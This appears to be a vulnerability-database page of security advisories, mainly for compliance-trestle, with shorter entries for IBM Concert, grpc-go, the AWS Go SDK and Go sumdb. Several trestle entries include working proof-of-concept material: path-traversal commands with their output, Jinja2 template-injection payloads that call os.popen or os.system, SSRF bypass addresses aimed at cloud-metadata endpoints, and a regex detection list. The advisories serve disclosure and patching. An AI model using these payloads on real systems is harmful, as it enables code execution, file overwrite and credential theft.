Where
AND
-Infinity
0
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

IBM Concert 1.0 through 3.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.

First published (updated )
Severity
7.8
Double Free
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

IBM Concert 1.0.0 through 3.0.0 has a double free vulnerability that exists due to incorrect memory management. A local attacker can exploit this flaw to corrupt heap memory and execute arbitrary code in the context of the affected process.

1 / 2
Source: MITRE
First published (updated )
Severity
7.8
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

IBM Concert 1.0.0 through 3.0.0 invokes operating system commands without fully qualifying executable paths or adequately restricting search path resolution. As a result, an attacker with local system access can manipulate the search path environment to execute untrusted or malicious code.

1 / 2
Source: MITRE

Remedy

IBM strongly recommends addressing the vulnerability now by upgrading to IBM Concert Software 3.0.1.1 Download IBM Concert Software 3.0.0 from Container software library section of IBM Entitled Registry ( ICR https://myibm.ibm.com/products-services/containerlibrary ) and follow  installation instructions https://www.ibm.com/docs/en/concert  depending on the type of deployment.
First published (updated )
Severity
8.2
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

An unrecovered panic in the event stream header decoder in Amazon AWS SDK for Go v2 before release-2026-03-23 might allow an unauthenticated remote actor to terminate the consuming application process via a crafted event stream response frame containing a header value type outside the valid range.

To remediate this issue, users should upgrade to release-2026-03-23 or later, and patch any forked or derivative code.

First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact An unauthenticated remote attacker can initiate a gRPC stream and purposefully fragment their payload into millions of tiny (e.g., 1-byte) HTTP/2 DATA frames. Even if the total payload volume falls within the configured connection and stream flow-control windows, each independent fragment incurs memory overhead due to internal tracking structures and queue allocation.

Repeated fragmentation massively inflates the heap space consumed by the stream. An attacker multiplexing multiple concurrent streams can exhaust the memory bounds of the runtime, forcing a runtime panic or OutOfMemory condition and leading to a remote Denial of Service (DoS).

Patches The change to fix this issue is merged in master and a patch release, 1.83.1, has been published that contains this fix.

Workarounds This vulnerability is mitigated by implementing receive buffer compaction. Consecutive small data buffers are automatically coalesced into larger buffers from a shared pool once the overhead is perceived to be excessive relative to actual payload data, drastically minimizing per-frame memory overheads.

This behavior is enabled by default. A temporary escape hatch is provided via the environment variable GRPCGOEXPERIMENTALENABLERECEIVEBUFFERCOMPACTION=false to disable the feature if unforeseen issues arise, but it will be removed in a future release.

1 / 3
Source: GitHub
First published (updated )
Severity
8.4
Path Traversal, SSRF
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

At a glance

- Actor: attacker who controls the -o/--output argument to trestle author {catalog,profile,ssp}-generate (e.g. via a CI pipeline that derives the output directory from repository-controlled data)

- Primitive: attacker-controlled --output value reaches trestleroot / args.output write sink with only isdirectorynameallowed() (parts[0]-only task-name-collision check), not the PathSecurityValidator.validatelocalpath() guard added by the CVE-2026-46345 fix

- Impact: arbitrary-location file write outside the trestle workspace as the process owner (8.4 High; conservative C:N variant 7.7, still High); with --force-overwrite, the attacker-chosen directory is first recursively deleted shutil.rmtree)

- Precondition: attacker influences the -o argument in a CI/automation pipeline or multi-tenant trestle workspace running these generate subcommands

- Fix: call PathSecurityValidator.validatelocalpath(markdownpath, trestleroot) immediately after building markdownpath in catalog.py, ssp.py, and prof.py, mirroring the existing jinja fix

Overview

The remediation for CVE-2026-46345 / GHSA-4q5v-7g7x-j79w ("Arbitrary File Write via Path Traversal in compliance-trestle – jinja") added a new PathSecurityValidator.validatelocalpath() guard and wired it into the jinja command's output path. The identical output = trestleroot / args.output write pattern in the sibling author commands — catalog-generate, profile-generate, and ssp-generate — was not updated. Those commands instead rely on isdirectorynameallowed(), a task-name-collision check that does not stop path traversal: an absolute --output or a --output whose first component is innocuous subdir/../../../...) escapes the trestle workspace and writes generated markdown under an attacker-chosen output root outside the workspace, subject to the invoking process's filesystem permissions.

Impact

Threat model. This is not a claim that a local user harms themselves by intentionally choosing an unsafe -o. The security boundary is crossed when a trusted automation job, CI workflow, shared trestle service, or wrapper invokes one of these subcommands and derives --output from repository-controlled, tenant-controlled, or otherwise untrusted data while expecting trestle to keep generated output inside the workspace. The attacker does not need local shell access to the trestle host; they only need influence over the data that the trusted automation maps into the --output argument.

Primary claim (confirmed): Such an invocation writes control-markdown files outside the trestle workspace — arbitrary-location file write as the process owner. This is runtime-confirmed for catalog-generate: catalog-generate -o /tmp/TRESTLEESCAPEABS produced files outside the workspace on a v4.0.3 install while the same install blocked the equivalent jinja -o with a Security violation error. profile-generate and ssp-generate are source-confirmed siblings (identical trestleroot / args.output join, the same isdirectorynameallowed-only gate, no validatelocalpath call); see Runtime-confirmed scope in the End-to-end verification below.

Destructive variant --force-overwrite, source-confirmed): before generating, the force-overwrite path clears the selected output directory via clearfolder(...) trestle/core/commands/common/cmdutils.py), which performs shutil.rmtree on that directory. Because clearfolder early-returns unless the target is an existing directory, the primitive is recursive deletion of an attacker-selected directory tree outside the workspace (e.g. wiping a directory the process owner can write), not pinpoint deletion of an arbitrary single file. This is the integrity + availability impact behind I:HA:H.

Secondary (conditional) escalation: The affected population extends to every consumer that runs these generate subcommands in a CI/automation pipeline, shared/multi-tenant trestle workspace, or wrapper that forwards an externally supplied name — the same threat model GitHub/the maintainer accepted for CVE-2026-46345. Indirect code execution (e.g. overwriting a script the CI pipeline later invokes) is the bounded escalation beyond the demonstrated file-write primitive.

Technical Details

Source → Transform → Sink → Missing-guard → Result: attacker-controlled --output CLI argument → trestleroot / args.output join in catalog.pyssp.pyprof.py → CatalogAPI.writecatalogasmarkdown() writes files under the resolved path → only isdirectorynameallowed() (parts[0]-only task-name check) applied, not PathSecurityValidator.validatelocalpath() → files written outside the trestle workspace.

The fix is scoped to jinja.py only

Both fix commits 247fcce2…, 7d107b3a…, "add path traversal protection and prevent SSTI in jinja templating") touch only trestle/core/commands/author/jinja.py (+ its tests). The new guard:

python trestle/core/commands/author/jinja.py outputfile = trestleroot / routputfile PathSecurityValidator.validatelocalpath(outputfile, trestleroot) # :229 (and :278, :297)

validatelocalpath trestle/core/remote/security.py:326) is the correct guard — it .resolve()s the path and calls relativeto(trestleroot), rejecting both .. traversal and absolute paths.

The sibling generate commands were not updated

catalog-generate, profile-generate, and ssp-generate build the output path with the same join but never call validatelocalpath. The only check is isdirectorynameallowed:

python trestle/core/commands/author/catalog.py:69 / ssp.py:97 / prof.py:86 (identical in all three) if not fileutils.isdirectorynameallowed(args.output): raise TrestleError(f'{args.output} is not an allowed directory name') ... markdownpath = trestleroot / args.output # catalog.py:90 / prof.py:110 (var markdownpath); ssp.py:111 (var mdpath) — same join

isdirectorynameallowed trestle/common/fileutils.py:95) was designed to stop task names that collide with OSCAL model directories, not traversal. It inspects only parts[0]:

python def isdirectorynameallowed(name: str) -> bool: pathedname = pathlib.Path(name) rootpath = pathedname.parts[0] if rootpath in const.MODELTYPETOMODELDIR.values(): return False # blocks "catalogs", "profiles", ... if rootpath[0] == '.': return False # blocks leading "." (i.e. "../x") if pathedname.suffix != '': return False # blocks names with a file suffix if 'global' in pathedname.parts: return False return True

Two payloads defeat it:

1. Absolute path — --output /tmp/pwned. parts[0] is / (not an OSCAL dir, not .-prefixed, no suffix) → allowed. trestleroot / '/tmp/pwned' collapses to /tmp/pwned (pathlib discards the left operand on absolute join).

2. Non-leading .. — --output subdir/../../../../../../tmp/pwned. parts[0] is subdir (innocuous) → allowed. The .. segments resolve out of the workspace at write time.

The validated value flows unchanged to the write sink with no further sanitisation grep for resolve()/relativeto/validatelocalpath across the catalog write path returns zero hits): ControlContext.generate(..., mdroot=markdownpath, ...) stores it as a dataclass field trestle/core/controlcontext.py:46) and CatalogAPI.writecatalogasmarkdown() calls self.context.mdroot.mkdir(existok=True, parents=True) trestle/core/catalog/catalogapi.py:72) then writes <control-id>.md files under it.

Additional unguarded siblings create, replicate)

trestle create trestle/core/commands/create.py:95, desiredmodeldir = trestleroot / pluralpath / args.output) and trestle replicate replicate.py:90) have no isdirectorynameallowed check at all and accept the same absolute / .. --output. They write a structured OSCAL model file and refuse to overwrite an existing target .exists() raises), so the primitive is create-only there — lower impact than the generate commands, but the same missing-guard root cause. These are flagged as related defense-in-depth sinks sharing the root cause, not as the primary impact claim of this report.

Severity note

Metrics mirror the parent CVE-2026-46345 (8.4, AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). I:HA:H are direct and demonstrated: out-of-workspace file creation, plus recursive shutil.rmtree of an attacker-chosen directory under --force-overwrite. C:H is proposed for consistency with the parent advisory's published score for the same out-of-workspace write boundary; however, the directly demonstrated primitive is write/overwrite rather than file read, so a conservative vector with C:N AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H) yields 7.7, still High. S:U because trestle writes as the invoking user.

Why OSCAL id-validation does not prevent this

OSCAL model ids control.id, group.id) are NCName-validated constr(regex=…)) and cannot contain /, \, or a leading .., so the per-control leaf filenames grp1/ac-1.md) cannot themselves traverse. That validation does not help here: the base output root mdroot = trestleroot / args.output is built from the raw, unconstrained -o/--output CLI string and is joined before those safe leaves. An absolute or non-leading.. -o escapes the workspace, and the NCName-safe leaves are written underneath the escaped root — confirmed by the PoC, where the escape occurs at mdroot /tmp/TRESTLEESCAPEABS) with grp1/ac-1.md written beneath it.

Reproduction

Non-web target (Python CLI). PoC is a command sequence run against a local install of the project's current source (HEAD e22e35bd, reports as v4.0.3) — no vendor infrastructure touched.

Step 1 — Set up a normal trestle workspace with a one-control catalog

bash pip install -e . # editable install of the affected source (v4.0.3) mkdir /tmp/pocws && cd /tmp/pocws trestle init mkdir -p catalogs/mycat python3 - <<'PY' import uuid, json cat = {"catalog":{"uuid":str(uuid.uuid4()), "metadata":{"title":"PoC Catalog","last-modified":"2026-01-01T00:00:00.000+00:00","version":"1.0","oscal-version":"1.0.4"}, "groups":[{"id":"grp1","title":"Group One","controls":[ {"id":"ac-1","title":"PoC Control","parts":[{"id":"ac-1smt","name":"statement","prose":"PoC statement prose."}]}]}]}} json.dump(cat, open("catalogs/mycat/catalog.json","w"), indent=2) PY

Step 2 — Trigger the boundary failure (absolute-path escape)

bash trestle author catalog-generate -n mycat -o /tmp/TRESTLEESCAPEABS ls /tmp/TRESTLEESCAPEABS/grp1/ac-1.md

Recorded output:

text $ ls /tmp/TRESTLEESCAPEABS/grp1/ac-1.md /tmp/TRESTLEESCAPEABS/grp1/ac-1.md # written OUTSIDE /tmp/pocws $ head -3 /tmp/TRESTLEESCAPEABS/grp1/ac-1.md ac-1 - \[Group One\] PoC Control Control Statement

Step 3 — Same escape via non-leading .. (defeats isdirectorynameallowed)

bash trestle author catalog-generate -n mycat -o 'subdir/../../../../../../tmp/TRESTLEESCAPEDOTDOT' ls /tmp/TRESTLEESCAPEDOTDOT/grp1/ac-1.md # -> exists, outside the workspace

Step 4 — Differential: the patched jinja -o is blocked on the SAME install

bash echo 'hello {{ 1+1 }}' > template.j2 trestle author jinja -i template.j2 -o '/tmp/TRESTLEJINJABLOCKED'

Recorded output (fix is active; proves this is an incomplete fix, not an unpatched version):

text ERROR: ... Security violation: Path traversal blocked. Attempted to access "/tmp/TRESTLEJINJABLOCKED" which is outside the trestle workspace "/tmp/pocws" (no file created)

catalog-generate escapes while jinja is blocked → the validatelocalpath remediation was never applied to the generate commands.

End-to-end verification (runtime)

- Lab setup: editable install pip install -e .) of the affected source at HEAD e22e35bd (reports as v4.0.3, the release that contains the GHSA-4q5v jinja fix). import trestle.core.commands.author.catalog resolves to the in-tree source file, confirming the run exercises HEAD, not a stale wheel.

- Observed end-to-end effect (not an intermediate return value): files physically written outside the workspace — /tmp/TRESTLEESCAPEABS/grp1/ac-1.md and /tmp/TRESTLEESCAPEDOTDOT/grp1/ac-1.md — while /tmp/pocws (the trestle root) contained no such directory. Confirmed by findls.

- Differential control: the same install rejects the equivalent jinja -o with Security violation: Path traversal blocked … outside the trestle workspace, writing nothing. The guard exists and works in jinja; it is simply absent from the generate commands.

- Guard bypass, isolated: importing isdirectorynameallowed semantics and joining via pathlib confirms -o /tmp/pwned (absolute) and -o subdir/../../../tmp/pwned (innocuous leading component) both pass the check and resolve outside the root, while the naive -o ../../tmp/pwned is the only form the check stops.

- Runtime-confirmed scope (what was executed vs source-confirmed): the write escape is runtime-confirmed for catalog-generate (Steps 2–4 above). profile-generate and ssp-generate are source-confirmed siblings — same trestleroot / args.output join prof.py:110, ssp.py:111), same isdirectorynameallowed-only gate prof.py:86, ssp.py:97), no validatelocalpath — and should be fixed in the same patch. The --force-overwrite recursive-delete primitive clearfolder → shutil.rmtree, with an early return unless the target is an existing directory) is source-confirmed; the PoC above exercises the write escape, not -fo.

Suggested Fix

Root-cause fix: Mirror the jinja fix in the three generate commands (and, for completeness, createreplicate): after constructing the output path, call the existing guard before any mkdir/write.

python catalog.py / ssp.py / prof.py, immediately after markdownpath = trestleroot / args.output from trestle.core.remote.security import PathSecurityValidator PathSecurityValidator.validatelocalpath(markdownpath, trestleroot)

isdirectorynameallowed() should be retained for its original purpose (OSCAL-dir-collision prevention) but must not be relied on for traversal defence.

Defense-in-depth: Harden isdirectorynameallowed to reject absolute paths pathedname.isabsolute()) and any .. component so it provides a secondary layer even if the primary validatelocalpath call is accidentally omitted in future.

References

- Vendor security policy: https://github.com/oscal-compass/compliance-trestle/security/policy

- Submission endpoint: https://github.com/oscal-compass/compliance-trestle/security/advisories/new

- Parent advisory (incompletely fixed): GHSA-4q5v-7g7x-j79w / CVE-2026-46345 — "Arbitrary File Write via Path Traversal in compliance-trestle – jinja"

- Coordinated disclosure batch (part of the same PathSecurityValidator remediation): GHSA-gg2g-p7xc-qqmm (SSTI RCE), GHSA-g3vg-vx23-3858 (cache path traversal), GHSA-mj4x-vf5c-5xg8 (profile-import path traversal read), GHSA-w76h-q7c6-jpjp (SSRF)

- Fix commits (jinja-only scope): 247fcce289f60103f3d8e28d8ec51a6986b94fb6, 7d107b3ac53caca7bde97a6278b23cd739d94525

- Affected sinks: trestle/core/commands/author/catalog.py:69,90; author/ssp.py:97,111; author/prof.py:86,110; bypassed guard trestle/common/fileutils.py:95; write sink trestle/core/catalog/catalogapi.py:72; unused-here correct guard trestle/core/remote/security.py:326

- Additional unguarded siblings: trestle/core/commands/create.py:95, trestle/core/commands/replicate.py:90

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
Code Injection
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Compliance-trestle (Trestle) is a Python SDK and command-line tool for managing OSCAL compliance documents. In versions prior to 3.12.4 and 4.0.0 through 4.0.3, the custom Jinja2 include tags mdsectioninclude and mdcleaninclude re-parse the content of an included Markdown file as Jinja2 template code in a non-sandboxed environment, allowing server-side template injection that can lead to arbitrary code execution. The MDSectionInclude and MDCleanInclude tags in Trestle/core/jinja/tags.py pass included file content to Parser(self.environment, ...).parse(), splicing it into the host template's compilation, and the environment is a plain jinja2.Environment rather than a SandboxedEnvironment, so any expressions in the file are evaluated with full access to the usual SSTI gadget chain. Because Trestle's Markdown writers emit OSCAL prose and component-description fields verbatim, applying delimiter neutralization only to parameter tables, attacker-controlled OSCAL data such as a control statement, part prose, or component description containing Jinja2 syntax flows into an included Markdown file and is executed when the include tag re-parses it. This issue is fixed in version 4.1.0.

1 / 2
Source: MITRE
First published (updated )
Severity
7.8
Code Injection, Input Validation
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Impact

A Server-Side Template Injection (SSTI) vulnerability exists in multiple locations of trestle's Jinja2 rendering pipeline due to a systemic pattern: untrusted data is re-parsed as Jinja2 template source code without sandboxing. This advisory tracks the root cause across all affected code paths.

The core anti-pattern is: treating runtime data (rendered output, included Markdown content, LUT values) as Jinja2 template source code and passing it to Parser.parse() or an equivalent rendering cycle, without using SandboxedEnvironment or escaping Jinja2 syntax delimiters. Because jinja2.Environment (not SandboxedEnvironment) is used, injected expressions can traverse Python object chains (class.mro, globals, subclasses()) to achieve arbitrary command execution via os.system() or subprocess.

Previously fixed instance (historical context):

An earlier version of rendertemplate() in trestle/core/commands/author/jinja.py implemented a recursive while loop: rendered output was loaded via DictLoader into a new Environment and re-rendered until convergence. This allowed an attacker to inject {{ namespace.init.globals.os.system('command') }} into SSP data fields or LUT YAML values. When a trusted template rendered these data fields (e.g., Title: {{ ssp.metadata.title }}), the injected payload was written into the output, then re-evaluated as executable Jinja2 code in the next loop iteration. This specific code path was fixed — rendertemplate() now performs a single template.render(lut) call.

Still-vulnerable code paths (this advisory):

1. MDCleanInclude.parse() — trestle/core/jinja/tags.py:148-151: Markdown file content is loaded via FileSystemLoader.getsource(), then re-parsed as Jinja2 source via Parser(self.environment, content).parse().

2. MDSectionInclude.parse() — trestle/core/jinja/tags.py:100-103: Extracted Markdown section text (mdsection.content.rawtext) is re-parsed as Jinja2 source via Parser(self.environment, rawtext).parse().

3. MDDatestamp.parse() — trestle/core/jinja/tags.py:198-201: Date string is re-parsed; lower risk because the date string is internally generated from strftime() rather than user input.

All three paths share the identical root cause: data that should be treated as plain text is passed to Parser.parse() and executed as Jinja2 code in an un-sandboxed Environment.

Attack vectors:

- Path A (Markdown include): Attacker places a malicious .md file with embedded Jinja2 payload in the trestle workspace. When {% mdcleaninclude "malicious.md" %} or {% mdsectioninclude %} is processed, the payload executes. - Path B (Data field injection — SSP/LUT): Attacker crafts an SSP document or YAML LUT where a data field value (e.g., metadata.title) contains {{ namespace.init.globals.os.system('id') }}. When rendered into a trusted template, if the output subsequently flows through any re-parsing code path, the payload executes.

The same globals.os.system() RCE technique demonstrated in the previously-fixed rendertemplate vulnerability applies to the remaining re-parsing paths.

Workarounds

1. Disable vulnerable tags: Remove MDCleanInclude and MDSectionInclude from the Jinja2 extensions list in trestle/core/jinja/ext.py:32 if markdown includes are not required. 2. Audit included Markdown files: Review all Markdown files referenced by {% mdcleaninclude %} and {% mdsectioninclude %} tags for unexpected Jinja2 syntax ({{ }}, {% %}, {# #}). 3. Scan data sources: Scan SSP documents, YAML LUT files, and any other data sources rendered into templates for Jinja2 syntax patterns. 4. Restrict workspace write access: Ensure only trusted users can add or modify files in trestle workspace directories. 5. Pre-commit hook: Add a pre-commit hook to scan .md, .json, .yaml files for Jinja2 syntax patterns ({{ namespace, {% for, globals, class, mro, subclasses, os.system, subprocess) and block commits containing them. 6. CI/CD isolation: If trestle is used in automated pipelines processing third-party vendor-supplied SSPs or data, run it in an isolated container/sandbox with minimal privileges and no network access.

Attack Path (Validation Evidence)

Path A: via {% mdcleaninclude %} tag

[Entry Point] CLI: trestle jinja -i template.md.jinja -o output.md ↓ main() → JinjaCmd.run(args) [trestle/core/commands/author/jinja.py:108] ↓ [Setup] JinjaCmd.jinjaify(trestleroot, inputpath, ...) [jinja.py:178] ↓ jinjaenv = JinjaCmd.createjinjaenvironment(templatefolder) [jinja.py:192] ↓ template = jinjaenv.gettemplate(str(rinputfile)) [jinja.py:193] ↓ output = JinjaCmd.rendertemplate(template, lut, templatefolder) [jinja.py:225] ↓ [Render] Jinja2 engine encounters {% mdcleaninclude "malicious.md" %} ↓ [Tag Handler] MDCleanInclude.parse(parser) [tags.py:115] ↓ markdownsource = "malicious.md" [tags.py:127] ↓ self.environment.loader.getsource(self.environment, "malicious.md") [tags.py:139] ↓ ← Loads file content from workspace directory (no restrictions on content) ↓ frontmatter.loads(mdcontent) → fm.content [tags.py:140-141] ↓ ← NO SANITIZATION: Markdown body assigned directly to content variable [SINK] localparser = Parser(self.environment, content) [tags.py:148] ↓ ← Markdown content parsed as Jinja2 template SOURCE CODE [SINK] topleveloutput = localparser.parse() [tags.py:149] ↓ ← ALL Jinja2 syntax in the .md file is EXECUTED [Impact] SSTI — attacker-controlled Jinja2 code executes in template context

Path B: via {% mdsectioninclude %} tag

[Entry Point] Same as Path A ↓ Jinja2 engine encounters {% mdsectioninclude "doc.md" "Section Title" %} ↓ [Tag Handler] MDSectionInclude.parse(parser) [tags.py:56] ↓ self.environment.loader.getsource(..., markdownsource.value) [tags.py:82] ↓ DocsMarkdownNode.buildtreefrommarkdown(fm.content.split('\n')) [tags.py:86] ↓ fullmd.getnodeforkey(sectiontitle.value) → mdsection [tags.py:87] ↓ ← Extracts specific section from the markdown document [SINK] localparser = Parser(self.environment, mdsection.content.rawtext) [tags.py:100] ↓ ← Section raw text parsed as Jinja2 template SOURCE CODE [SINK] topleveloutput = localparser.parse() [tags.py:101] ↓ ← ALL Jinja2 syntax in the extracted section is EXECUTED [Impact] SSTI — same impact as Path A, limited to a specific markdown section

Taint Flow (Validation Evidence)

Source: User-supplied .md file in trestle workspace (file system) Type: Markdown text file Controllability: FULL — attacker controls entire file content ↓ [Transform 1] FileSystemLoader.getsource() [tags.py:82 or 139] Reads raw file content as string ✓ SANITIZATION: NONE — any content is loaded ↓ [Transform 2] frontmatter.loads(mdcontent) [tags.py:83 or 140] Strips YAML frontmatter, preserves Markdown body ✓ SANITIZATION: NONE — only processes YAML header, ignores body content ↓ [Transform 3] fm.content → content variable [tags.py:141] (Path A) OR mdsection.content.rawtext [tags.py:100] (Path B) Direct string assignment ✓ SANITIZATION: NONE — no filtering, encoding, or validation ↓ [Transform 4] adjustheadinglevel(content, expected) [tags.py:146] (Path A only) Adjusts Markdown heading levels (e.g., ## → ###) ✓ SANITIZATION: NONE — only modifies '#' character count, does not touch Jinja2 syntax ↓ [Sink] Parser(self.environment, taintedstring) [tags.py:100 or 148] Tainted Markdown content is passed to Jinja2 Parser constructor as template source [Sink] localparser.parse() [tags.py:101 or 149] All Jinja2 constructs ({{ }}, {% %}, {# #}) in tainted content are executed ↓ [Impact] SSTI — Jinja2 code from attacker-controlled Markdown file executes in template context

Sanitization Verdict: ABSENT - No sandboxing: jinja2.Environment used (not SandboxedEnvironment) - No syntax filtering: Jinja2 delimiters {{, {%, {# are NOT escaped - No content validation: Markdown body is not scanned for template syntax - autoescape=True is irrelevant: only affects HTML output encoding, not code execution

Proof of Concept

Setup

bash Initialize trestle workspace trestle init

Create malicious markdown file with Jinja2 payload cat > malicious.md << 'EOF' --- yamlheader: ignored ---

Compliance Documentation

Testing SSTI vulnerability: Execute command: {{ ssp.class.init.globals.builtins.import('os').popen('whoami').read() }} EOF

Create trigger template cat > trigger.md.jinja << 'EOF' POC: SSTI via mdcleaninclude tag

{% mdcleaninclude "malicious.md" %} EOF

Create a dummy LUT file cat > empty.yaml << 'EOF' lut: apikey: supersecrettoken12345 dbpassword: P@ssw0rd2024 jwtsecret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 awsaccesskey: AKIAIOSFODNN7EXAMPLE awssecretkey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY internalapi: https://internal.corp.example.com/api/v2/users EOF

Execution

bash trestle init trestle author jinja -i trigger.md.jinja -o output.md -lut empty.yaml

Observed Output

markdown POC: SSTI via mdcleaninclude tag

Compliance Documentation

Testing SSTI vulnerability: Execute command: root

Expected Result

The rendered output.md will contain the output of the {% for %} loop, revealing all key-value pairs from the lut template context dictionary. If the commented-out object traversal line is uncommented, Python internal objects may be accessible depending on the Jinja2 version and configuration.

Affected Component

- File: trestle/core/jinja/tags.py - Class: MDCleanInclude (lines 106-151) - Class: MDSectionInclude (lines 47-103) - Function: MDCleanInclude.parse() (line 115), MDSectionInclude.parse() (line 56) - Configuring module: trestle/core/commands/author/jinja.py, method createjinjaenvironment() (line 304) - Dependency: Jinja2 (any version) — the vulnerability is in application code, not the Jinja2 library

Fix Recommendation

Important: The fix for rendertemplate() (removing the recursive while loop) was a necessary first step, but is not sufficient. The same root cause exists in the custom Jinja2 tags. A comprehensive fix must address ALL code paths where data is re-parsed as Jinja2 template source.

Comprehensive Fix Strategy

Step 1 (Root cause fix): Remove all secondary Jinja2 parsing from custom tags where it is not needed:

diff tags.py: MDCleanInclude.parse() — replace lines 148-151: - localparser = Parser(self.environment, content) - topleveloutput = localparser.parse() - return topleveloutput.body + from jinja2 import nodes + return [nodes.Output([nodes.TemplateData(content)])]

diff tags.py: MDSectionInclude.parse() — replace lines 100-103: - localparser = Parser(self.environment, mdsection.content.rawtext) - topleveloutput = localparser.parse() - return topleveloutput.body + from jinja2 import nodes + return [nodes.Output([nodes.TemplateData(mdsection.content.rawtext)])]

Step 2 (Defense in depth): Switch to SandboxedEnvironment in createjinjaenvironment():

diff jinja.py:304-308 — createjinjaenvironment() + from jinja2.sandbox import SandboxedEnvironment - return Environment( + return SandboxedEnvironment( loader=FileSystemLoader(templatefolder), extensions=extensions(), trimblocks=True, autoescape=True )

Step 3 (Input validation): Add validation to reject input data containing Jinja2 syntax:

python jinja.py: add to run() before rendering JINJA2DANGEROUSPATTERNS = [ r'\{\{.globals', r'\{\{.class', r'\{\{.mro', r'\{\{.subclasses', r'\{\{.init', r'\{\{.os\.system', r'\{\{.subprocess', r'\{%\sfor\s', r'\{%\sif\s', ]

def validatedatafield(value: str) -> bool: """Reject data values containing suspicious Jinja2 syntax.""" for pattern in JINJA2DANGEROUSPATTERNS: if re.search(pattern, value): return False return True

Alternative Fix (Milder): Escape Jinja2 syntax in untrusted data

diff # tags.py: before any secondary parsing + import re + def escapejinja2(text: str) -> str: + return re.sub(r'(\{\{|\{%|\{#)', r'\\\1', text) + + content = escapejinja2(content) # apply before Parser() localparser = Parser(self.environment, content)

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

A malicious GOSUMDB was capable of serving arbitrary module content not contained within the transparency log. This attack allows for a coordinating GOPROXY and GOSUMDB to serve a client malicious module content that cannot be detected by evaluating the transparency log. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ && go mod tidy

1 / 2
Source: MITRE
First published (updated )
Severity
8.4
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache. This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log. All tiles are now correctly verified against their parents. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ && go mod tidy

1 / 3
Source: MITRE
First published (updated )
Severity
8.6
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

compliance-trestle 4.0.3 (latest) ships an URLSecurityValidator in trestle/core/remote/security.py to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator's checks:

- IPv4-mapped IPv6 literals ([::ffff:169.254.169.254], [::ffff:127.0.0.1], [::ffff:10.0.0.1]) are returned by socket.getaddrinfo as IPv6Address objects; IPv6Address in IPv4Network('169.254.0.0/16') returns False, so the checkblockednetworks and checkprivatenetworks predicates do not match. - IPv4 unspecified address 0.0.0.0 is not in ALWAYSBLOCKEDNETWORKS (which covers 127.0.0.0/8 but not 0.0.0.0/8); on Linux + Docker, 0.0.0.0 routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners.

A malicious OSCAL profile referencing one of these URLs in imports[].href or back-matter.resources[].rlinks[].href causes HTTPSFetcher.init and dofetch (which both invoke validator.validateurl) to pass the URL through to requests.get, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with TRESTLEBLOCKPRIVATEIPS=true set) that the validator was specifically designed to block.

Affected versions

compliance-trestle (PyPI) versions <= 4.0.3 are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced URLSecurityValidator; prior releases had no SSRF guard at all.

Privilege required

Network-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via HTTPSFetcher or SFTPFetcher. The most realistic vector is a malicious OSCAL profile whose imports[].href references one of the bypass URLs; the artifact then flows through trestle href add / trestle import / trestle assemble / trestle author / any workflow that resolves the profile's imports.

Root cause

trestle/core/remote/security.py (4.0.3, lines 56-71 + 156-167):

python ALWAYSBLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), # IPv4 loopback only ipaddress.ipnetwork('::1/128'), # IPv6 loopback (single address) ipaddress.ipnetwork('169.254.0.0/16'), # IPv4 link-local only ipaddress.ipnetwork('fe80::/10'), # IPv6 link-local ]

METADATAHOSTNAMES = { '169.254.169.254', # IPv4 literal only 'metadata.google.internal', 'metadata.azure.com', '100.100.100.200', }

def checkblockednetworks(self, ipaddr, hostname): for network in ALWAYSBLOCKEDNETWORKS: if ipaddr in network: # IPv6Address in IPv4Network -> False raise TrestleError(...)

Four independent gaps:

1. No IPv4-mapped IPv6 normalization. socket.getaddrinfo('::ffff:169.254.169.254', None) returns an IPv6Address. Python's ipaddress module raises TypeError if mixed types are compared, and the in operator suppresses that to False. The validator never calls .ipv4mapped to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the [::ffff:N.N.N.N] literal.

2. METADATAHOSTNAMES is an exact-string set. The hostname for https://[::ffff:169.254.169.254]/ is ::ffff:169.254.169.254, which is not in the set.

